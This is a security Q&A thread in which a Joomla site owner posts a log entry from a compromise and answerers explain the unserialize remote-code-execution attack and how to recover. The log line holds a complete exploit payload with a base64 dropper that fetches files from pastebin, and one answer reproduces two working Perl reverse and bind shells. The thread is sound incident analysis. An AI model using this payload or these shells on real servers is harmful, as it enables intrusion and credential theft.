5

Please see below the log entry from the hack, I have decoded the base_64 code and ultimately some files are dropped onto the server and a directory listing becomes available among other niceties!

Could someone please explain what weakness this is exploiting? Our site is running Joomla 3.4 I have updated Joomla and set folder and file permissions to 755/644 respectively. PHP version is 5.3.23.

On 11th March I reset this site back to the original git push we made back in April last year and was surprised that following that our site was hacked again.

I would really like to know if it is a PHP vulnerability or Joomla so I can decide on the best course of action.

208.78.220.143 - - [12/Mar/2016:07:06:30 +0000] "GET / HTTP/1.0" 200 21849 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3702:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMGhpYW5ONGQwNVZKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDIxaGMzTXVjR2h3SWlBN0RRb2tkR1Y0ZERJZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdmRtUlZNV2RRUW1zbktUc05DaVJ2Y0dWdU1pQTlJR1p2Y0dWdUtDUmphR1ZqYXpJc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d1pXNHlMQ0FrZEdWNGRESXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdEUXBwWmlobWFXeGxYMlY0YVhOMGN5Z2tZMmhsWTJzeUtTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3lMaUk4TDJKeVBpSTdEUXA5Wld4elpTQU5DaUFnWldOb2J5QWlibTkwSUdWNGFYUnpNaUk3RFFwbFkyaHZJQ0prYjI1bE1pQXVYRzRnSWlBN0RRb05DaVJqYUdWamF6TTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2YzI1cGNHVnlMbWgwYlNJZ093MEtKSFJsZUhReklEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0wxWmlNMUJVTVRWaUp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJKNWNHRnpjeTV3YUhBaUlEc05DaVIwWlhoME5DQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OXhlRmhFY3pJM2RpY3BPdzBLSkc5d05EMW1iM0JsYmlna1kyaGxZMnMwTENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RRc0pIUmxlSFEwS1RzTkNtWmpiRzl6WlNna2IzQTBLVHNOQ2cwS0pHTm9aV05yTlQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOHZiV1ZrYVdFdmFtMWhhV3h6TG5Cb2NDSWdPdzBLSkhSbGVIUTFJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMmhuWVRGRlVsTmpKeWs3RFFva2IzQTFQV1p2Y0dWdUtDUmphR1ZqYXpVc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Td2tkR1Y0ZERVcE93MEtabU5zYjNObEtDUnZjRFVwT3cwS0RRb2tZMmhsWTJzMlBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZjMlZ6YzJsdmJpOXpaWE56YVc5dUxuQm9jQ0lnT3cwS0pIUmxlSFEySUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTDFWSVFVZFVPRGczSnlrN0RRb2tiM0EyUFdadmNHVnVLQ1JqYUdWamF6WXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOaXdrZEdWNGREWXBPdzBLWm1Oc2IzTmxLQ1J2Y0RZcE93MEtEUW9rZEc5NklEMGdJbUpoYkdGa1lYSnBiak5BWjIxaGFXd3VZMjl0SWpzTkNpUnpkV0pxWldOMElEMGdKMHB2YlNCNmVub2dKeUF1SUNSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVGtGTlJTZGRPdzBLSkdobFlXUmxjaUE5SUNkbWNtOXRPaUJMWld0cllXa2dVMlZ1YzJWdUlEeGlZV3hoWkdGeWFXNHpRR2R0WVdsc0xtTnZiVDRuSUM0Z0lseHlYRzRpT3cwS0pHMWxjM05oWjJVZ1BTQWlVMmhsYkd4NklEb2dhSFIwY0Rvdkx5SWdMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdmIyMXNZUzlxYldGcGJDNXdhSEEvZFNJZ0xpQWlYSEpjYmlJZ0xpQndhSEJmZFc1aGJXVW9LU0F1SUNKY2NseHVJanNOQ2lSelpXNTBiV0ZwYkNBOUlFQnRZV2xzS0NSMGIzb3NJQ1J6ZFdKcVpXTjBMQ0FrYldWemMyRm5aU3dnSkdobFlXUmxjaWs3RFFvTkNrQjFibXhwYm1zb1gxOUdTVXhGWDE4cE93MEtEUW9OQ2o4KycpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
  • a quick search revealed: blog.cloudflare.com/the-joomla-unserialize-vulnerability – schroeder Mar 14 '16 at 21:22
  • and exploit-db.com/exploits/38977 – schroeder Mar 14 '16 at 21:24
  • thank you, updating Joomla should solve the issue. thanks for the quick response :) – Basicmanthz Mar 14 '16 at 21:37
  • 3
    FYI - this site's general advice for dealing with corrupted servers is to wipe the disk, reinstall OS and apps from scratch, fix the vulnerability(s), and then bring the site back online. See How do I deal with a compromised server?. – Neil Smithline Mar 14 '16 at 21:43
  • 2
    Your install of Joomla is over a year old. Many security vulnerabilities have been discovered since. I recommend setting up an automated alerts system of some kind generated by their RSS feed at feeds.joomla.org/JoomlaSecurityNews And then update immediately as well as manually check as frequent as you can. If there is no reason someone should be able to create files via your website's code base then I also recommend setting everything to 644 unless you are running an update. – Bacon Brad Mar 14 '16 at 23:38
18

This is a JSON Deserialize Remote Code Execution Attempt

This answer will be made based on the assumption that your website was hacked. If it wasn't hacked, and these files were not loaded, then it's only a hack attempt. If you found suspicious files, you've probably been hacked.

This is essentially a Remote Code Execution exploit in that loads multiple shells on your server, and tries to exfiltrate (steal) configuration files, system passwords, etc.

What it's doing is exploiting a problem with a JSON deserialization feature which allows remote code execution. Once it's onto your server, it starts chaining off multiple functions and loading multiple shells.

It also turns off your error logging when it doesn't want you to know what's going on:

@error_reporting(0);

There are lots of other things going on, and the code tries to prevent you from following what it's doing. It doesn't do a very good job for the most part, but once it loads the shells, all bets are off.


The Exploit Attempt Entry Point

In this JSON blob, you can see here that they attempt to throw eval(base64_decode("hacked contents")); into the feed_url parameter.

\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";

Nifty, huh?


You can't just nuke from orbit. Your credentials may have been stolen

You'll probably be well-served by changing all of your usernames and passwords, not just nuking from orbit. This script attempts to steal all of your configuration files, and your system password.

See this:

flush();
$file = '/etc/passwd';
$read = @fopen($file, 'r');

...and this file as well.


This allows shells to run on your server

A PHP shell, and a Perl shell:

Here's the Perl Shell:

  1. File 1:

    #!/usr/bin/perl
    
    use Socket;
    $iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
    $paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
    $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system('/bin/sh -i');
    close(STDIN);
    
    close(STDOUT);
    close(STDERR);
    
  2. File 2:

    #!/usr/bin/perl
    
    $SHELL = "/bin/sh -i";
    if (@ARGV < 1) {
        exit(1);
    }
    
    use Socket;
    
    socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
    
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    
    bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
    
    listen(S, 3) || die "Cant listen port\n";
    
    while (1) {
        accept(CONN, S);
    
            if (!($pid = fork)) {
    
            die "Cannot fork"
    
            if (!defined $pid);
    
            open STDIN, "<&CONN";
    
            open STDOUT, ">&CONN";
    
            open STDERR, ">&CONN";
    
            exec $SHELL || die print CONN "Cant execute $SHELL\n";
            close CONN;
    
            exit 0;
        }
    }
    

Malicious Source Files

I decoded the malicious source code. If you're interested in it, check the following links below:


Too Long, Didn't Read

Nuke from orbit, and change all usernames and passwords. They may have full access.


Would you like to know more?

You can learn how to do this yourself. Check out this thread: I found unknown PHP code on my server. How do I de-obfuscate the code?

  • Thank you for your in depth analysis. Will not prove you wrong. As I stated earlier in the comments, it is needed to reset the whole system. – honze Mar 15 '16 at 0:41
  • 1
    Yep, you need to reset all the usernames and passwords as well. – Mark Buffalo Mar 15 '16 at 0:41
  • This is a very indepth analysis I really appreciate the effort you have gone to. But Jeez this is scary! This site is one of several running on the server but it is locked down so it can only access the files from document root upwards for writing. However /etc/passwd is readable but /etc/shadow is not. Should I worry about the other sites? The passwords are secure. I have been monitoring the log files but haven't seen anything unusual since. I have disabled ssh access to all the sites too. Thanks. – Basicmanthz Mar 16 '16 at 19:52
  • Well, did you verify if any of these files were created? Keep in mind that it's an attempt. As an attempt, it doesn't necessarily mean that you were compromised, and it doesn't necessarily mean everything else went off without a hitch. There are multiple attempts to do seemingly everything they possibly can, including escalating access. Installing a Perl shell could allow full remote access to your entire server. – Mark Buffalo Mar 16 '16 at 19:55
  • Look in hxxp://www.yourwebsite.com/libraries/joomla/jmail.php – Mark Buffalo Mar 16 '16 at 20:16
-2

This looks lika RCE Exploit. As you stated, the exploit loads some shell via pastebin. Your server got owned. I recommend a clean install of the whole server. The attacker could have gathered the same privileges as you. You have to reset all passwords. Resetting to a earlier version will reopen this vulnerability in your Joomla version. Please update to the most recent stable version of Joomla.

This answer is the quick tl;dr. For a deeper analysis see: https://security.stackexchange.com/a/117448/104357

  • Git status showed me the files that had been created so they have been removed and I have updated to the latest version of Joomla which fixes this exploit. Hopefully all clear now :) – Basicmanthz Mar 14 '16 at 21:40
  • Please have a look into your database, in order to if there are any new users or granted rights etc. If it is a root server, please make sure no local system users are created for backdooring the server. Thank you for sharing your experience! I will investigate the shells for further study. – honze Mar 14 '16 at 21:44
  • 2
    @honze I think this answer is woefully incomplete and potentially conveys a false sense of security: after going over the code, it appears that your credentials were likely stolen, so your username and passwords probably need to be changed, or the hacker can keep doing the same stuff over and over. I've expounded on what's going on here in my answer. – Mark Buffalo Mar 14 '16 at 23:33
  • I think this is too vague and incomplete to adequately explain what happened. SQLi is not the same thing as RCE. – h4ckNinja Mar 15 '16 at 0:24
  • SQL is probably not needed. I will remove that from my answer. – honze Mar 15 '16 at 0:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.